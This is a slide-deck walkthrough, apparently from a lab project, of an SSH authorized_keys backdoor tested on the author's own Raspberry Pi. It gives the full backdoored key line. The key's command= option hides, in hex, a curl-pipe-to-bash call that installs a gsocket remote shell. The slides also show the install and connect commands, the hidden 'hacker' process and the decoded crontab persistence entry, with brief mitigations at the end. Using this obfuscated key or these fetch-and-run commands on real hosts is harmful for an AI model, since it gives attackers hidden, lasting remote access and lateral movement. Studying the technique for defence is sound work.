



SSH Public Key Backdoor

Daniel Tureo



Overview

- Objective
- Devices / Technologies
- Assumptions
- MITRE ATT&CK
- Implementation
- Mitigations



Objective

- Modify the *SSH authorized_keys* file to maintain persistence on a victim's host



Devices / Technologies

- Oracle VM VirtualBox machine
 - Kali Linux
- Raspberry Pi 2 as victim's machine
 - Linux raspberrypi 6.1.21-v7+
 - OpenSSH_8.4p1 Raspbian-5+deb11u1
- Local home network (192.168.1.0/24)



Assumptions

- Access to victim's machine
- SSH Server
- SSH public keys stored in *authorized_keys* file
- No Passphrase for private key
- feature to be exploited
 - **command="command"**

MITRE ATT&CK

➤ <https://attack.mitre.org/techniques/T1098/004/>

The adversary is trying to maintain their foothold.

The screenshot displays the MITRE ATT&CK web interface. The header is orange with the MITRE ATT&CK logo. On the left, a sidebar lists 'MATRICES' with 'Enterprise' selected. The main content area shows a matrix for 'Persistence' techniques. A dropdown menu is open for 'Account Manipulation (5)', showing a list of techniques: 'Additional Cloud Credentials', 'Additional Email Delegate Permissions', 'Additional Cloud Roles', 'SSH Authorized Keys', and 'Device Registration'. Other visible techniques include 'BITS Jobs' and 'Additional Cloud Credentials'.

| Category | Techniques |
|--------------------------|---|
| Persistence | 19 techniques |
| Account Manipulation (5) | <ul style="list-style-type: none">Additional Cloud CredentialsAdditional Email Delegate PermissionsAdditional Cloud RolesSSH Authorized KeysDevice Registration |
| BITS Jobs | |



Global Socket or gsocket

<https://www.gsocket.io/deploy/>

Global Socket allows two workstations on different private networks to communicate with each other. Through firewalls and through NAT
- *like there is no firewall.*

Install: `bash -c "$(curl -fsSLk gsocket.io/x)"`

More information <https://github.com/hackerschoice/gsocket>

Let's start!





Public key

```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGBgQDNp2sbl
7d6on9Yxt62XVyFIH177tJ5JWcKjH9dfIASIEiTkImk
bWNGi+T+mYdT2fxkJuahUyBf715i+weEDT1MBgX
C8y5cKYJhTdiEShRYLapK3iLOTJxuW3UrMh/Eekm
nZguB4rRDxtn4z+9jjuDlgo/o6ERV80assu1jpQ6N/a
6dymZV/Yk18n7snNY22sksAjdRO+V/B6Gbf4bZaf4
WmzO6qtRyer+tsedWKGmqlt5K8mZBVJrwnBY2c
6OhrJZu4eOCjkk3CGoRBTHiE95dYKE5wecnNin3q
TJAHqFpyV+rSGvKalsmKpLWs/Nlc2Q4mM8AVn2P
4a8jdBpm2PurLasfY/loRim1FI0Nfb71FXUIF+A9laJ
BJ/S+YK7C58K1HJe33Y3m2Q2IMti4jrJav8O9fnxS
TXoMXssz4W96SkDNsKp+775vjSuhndduzLoEVloL
6vaoF/5XWt5sp2NvCl+NdjoqZikU949AJQi88rZk0X
rl6f2pM6fHiihK8M= kali@kali
```

→ How?

◆ ssh-keygen

→ Where does this going to happen?

◆ Attacker will modified
authorized_keys file
with backdoor



New public key

```
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo  
583d326d317a696469317a6b6b6d786a6a6a307a306a6c6a2047535f48494444454e5f4e414d453d686163  
6b65722062617368202d63202224286375726c202d6673534c6b2067736f636b65742e696f2f782922 |  
xxd -r -ps)"
```




ssh-rsa


```
AAAAB3NzaC1yc2EAAAADAQABAAQgQDNp2sbl7d6on9Yxt62XVyFIH177tJ5JWcKjH9dfIASIEiTkImkbWN  
Gi+T+mYdT2fxkJuahUyBf715i+weEDT1MBgXC8y5cKYJhTdiEShRYLapK3iLOTJxuW3UrMh/EekmnZguB4rRD  
xtn4z+9jjuDlgo/o6ERV80assu1jpQ6N/a6dymZV/Yk18n7snNY22sksAjdrO+V/B6Gb4bZaf4WmzO6qtRyer+ts  
edWKGmqlt5K8mZBVJrwnBY2c6OhrJZu4eOCjjk3CGoRBTHiE95dYKE5wecnNin3qTJAHQFpyV+rSGvKalsmK  
pLWs/Nlc2Q4mM8AVn2P4a8jdBpm2PurLasFY/loRim1FI0Nfb71FXUIF+A9laJBJ/S+YK7C58K1HJe33Y3m2Q2  
IMti4jrJav8O9fnxSTXoMXssz4W96SkDNsKp+775vjSuhndduzLoEVloL6vaoF/5XWt5sp2NvCl+NdjoqZikU949  
AJQi88rZk0Xrl6f2pM6fHiihK8M= kali@kali
```










- user side
- .ssh/authorized_keys






Checking with CyberChef





[Download CyberChef](#)  Last build: 25 days ago - Version 10 is here! [Read about the new features here](#) Options  About / Support 


Operations
Search...
Favourites 
To Base64
From Base64
To Hex
From Hex
To Hexdump
From Hexdump
URL Decode
Regular expression
Entropy
Fork

Recipe   
From Hex  
Delimiter
Auto

STEP  **BAKE!**  **Auto Bake**

Input     
583d326d317a696469317a6b6b6d786a6a6a307a306a6c6a2047535f48494444454e5f4e414d453d2
26861636b6572222062617368202d63202224286375726c202d6673534c6b2067736f636b65742e69
6f2f782922

Output    
X=2m1zidi1zkkmxjjj0z0jlj GS_HIDDEN_NAME="hacker" bash -c "\$(curl -fsSlk
gsocket.io/x)"

8ms **Raw Bytes**  **LF**

Copying a new “infected” key into the server



Installation and Connection



Backdoor console open

```
(kali@kali)-[~/Project4]
$ ssh -i keykali testdan@192.168.1.100
→ Trying arm-linux
Downloading binaries.....[OK]
Unpacking binaries.....[OK]
Copying binaries.....[OK]
Testing binaries.....[OK]
Testing Global Socket Relay Network.....[OK]
Installing access via crontab.....[SKIPPING]
→ Already installed in crontab.
Installing access via ~/.bashrc.....[SKIPPING]
→ Already installed in /home/testdan/.bashrc
Installing access via ~/.profile.....[SKIPPING]
→ Already installed in /home/testdan/.profile
→ To uninstall use GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"
→ To connect use one of the following:
→ gs-netcat -s "2m1zidi1zkkmxjjj0z0jlj" -i
→ S="2m1zidi1zkkmxjjj0z0jlj" bash -c "$(curl -fsSL gsocket.io/x)"
→ S="2m1zidi1zkkmxjjj0z0jlj" bash -c "$(wget -qO- gsocket.io/x)"
Starting 'gs-dbus' as hidden process 'hacker'.....[OK]
→ Join us on Telegram - https://t.me/thcorg
Connection to 192.168.1.100 closed.

(kali@kali)-[~/Project4]
$ gs-netcat -s "2m1zidi1zkkmxjjj0z0jlj" -i
-Secret      : 2m1zidi1zkkmxjjj0z0jlj
-Encryption  : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
testdan@raspberrypi:~ $ top
```

Network connections

```
dtureo@raspberrypi:~$ sudo netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      817/mysqld
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      662/sshd: /usr/sbin
tcp        0      0 127.0.0.1:42795         0.0.0.0:*               LISTEN      646/containerd
tcp        0      0 192.168.1.100:22        192.168.1.110:58100    ESTABLISHED 22588/sshd: testdan
tcp        0      0 192.168.1.100:22        192.168.1.110:56374    ESTABLISHED 21525/sshd: dtureo
tcp        0      0 192.168.1.100:22        192.168.1.110:53591    ESTABLISHED 20550/sshd: testdan
tcp6       0      0 :::22                   :::*                    LISTEN      662/sshd: /usr/sbin
tcp6       0      0 :::80                   :::*                    LISTEN      723/apache2

dtureo@raspberrypi:~$ sudo netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      817/mysqld
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      662/sshd: /usr/sbin
tcp        0      0 127.0.0.1:42795         0.0.0.0:*               LISTEN      646/containerd
tcp        0      0 192.168.1.100:37974     185.199.108.153:80     TIME WAIT   -
tcp        0      0 192.168.1.100:22        192.168.1.110:58100    ESTABLISHED 22588/sshd: testdan
tcp        0      0 192.168.1.100:22        192.168.1.110:56374    ESTABLISHED 21525/sshd: dtureo
tcp        0      0 192.168.1.100:39944     192.145.44.201:443     ESTABLISHED 25945/hacker
tcp        0      0 192.168.1.100:47236     192.145.44.201:443     TIME WAIT   -
tcp        0      0 192.168.1.100:22        192.168.1.110:53591    ESTABLISHED 20550/sshd: testdan
tcp6       0      0 :::22                   :::*                    LISTEN      662/sshd: /usr/sbin
tcp6       0      0 :::80                   :::*                    LISTEN      723/apache2

dtureo@raspberrypi:~$ sudo netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      817/mysqld
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      662/sshd: /usr/sbin
tcp        0      0 127.0.0.1:42795         0.0.0.0:*               LISTEN      646/containerd
tcp        0      0 192.168.1.100:37974     185.199.108.153:80     TIME WAIT   -
tcp        0      0 192.168.1.100:43482     192.145.44.201:443     ESTABLISHED 25945/hacker
tcp        0      0 192.168.1.100:22        192.168.1.110:58100    ESTABLISHED 22588/sshd: testdan
tcp        0      0 192.168.1.100:22        192.168.1.110:56374    ESTABLISHED 21525/sshd: dtureo
tcp        0      0 192.168.1.100:39944     192.145.44.201:443     ESTABLISHED 25945/hacker
tcp        0      0 192.168.1.100:47236     192.145.44.201:443     TIME WAIT   -
tcp        0      0 192.168.1.100:22        192.168.1.110:53591    ESTABLISHED 20550/sshd: testdan
tcp6       0      0 :::22                   :::*                    LISTEN      662/sshd: /usr/sbin
tcp6       0      0 :::80                   :::*                    LISTEN      723/apache2

dtureo@raspberrypi:~$
```

What if we reboot the server?

Crontab has been infected as well

```
Input
+  [  ]  [  ]  [  ]  [  ]  [  ]

L3Vzci9iaW4vcGtpbGwgLTAglVUxMDAyIGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iY
XNoIFRFUk09eHR1cm0tMjU2Y29sb3Igr1NFQVJHUz0iLWsgL2hvbWUvdGVzdGRhbi8uY29uZmlnL2RidX
MvZ3MtZGJ1cy5kYXQgLWxpcUQiIC91c3IvYmLuL2Jhc2ggLWMgImV4ZWNgLWEgJ1trY2FjaGVkXScgJy9
ob211L3Rlc3RkYW4vLmNvbmZpZy9kYnVzL2dzLWRidXMnIiAyPi9kZXVbnVsbAo=

rbc 308  1  Tr Raw Bytes  LF
*****

Output
[  ]  [  ]  [  ]  [  ]

/usr/bin/kill -0 -U1002 gs-dbus 2>/dev/null || SHELL=/bin/bash TERM=xterm-
256color GS_ARGS="-k /home/testdan/.config/dbus/gs-dbus.dat -liqD" /usr/bin/bash
-c "exec -a '[kcached]' '/home/testdan/.config/dbus/gs-dbus'" 2>/dev/null
```




Why is this backdoor helpful?

In this case, the backdoor allows

- Secure connection using gsocket (Global Socket Relay Network)
- Hidden processes
- Persistence (even after rebooting)
 - Crontab infected
- Lateral movement



Mitigation

- Encrypt private key
 - setting the passphrase at ssh-keygen
- Strong passwords/passphrase
- Keep SSH updated
- Edit `/etc/ssh/sshd_config`
 - `PermitRootLogin no`
 - Limit max authentication attempts
 - `MaxAuthTries 3`
- Find all `authorized_keys` files
- Check configured cron jobs.
- Check logs (`auth_logs`, `sshd_logs`)

Thanks for your attention

